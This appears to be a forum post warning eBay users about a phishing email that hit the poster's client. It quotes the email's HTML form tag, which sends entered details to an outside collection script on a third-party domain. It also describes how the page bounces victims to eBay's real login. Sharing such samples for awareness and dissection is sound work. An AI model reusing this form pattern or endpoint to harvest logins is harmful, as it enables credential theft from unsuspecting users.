EBAY SCAM...

DONT FILL OUT THE FORM AS THIS SCAM IS AS ACTIVE AS THE DAY IT WAS RECEIVED

It has been put here for research/disection by whoever whants to do it!

One of my clients just got stung by this one, and I'm sure many more folk would too. I've not seen it before, but googled and it is recorded. Still thought it'd be an interesting one for Ebay users.

A glance at the source of the email (available if anyone want's a peek) showed that the form pointed to: *[FORM action=3Dhttp://trimitetoatedatele.com/send_uk.php method=3Dget target=3D_blank onfiltered=3D"return ShowFormWarning()"]*

Playing with this page is quite interesting, it bounces to ebay's login, login you into your account while *pure speculation here* logging your password into a compromised accounts database.
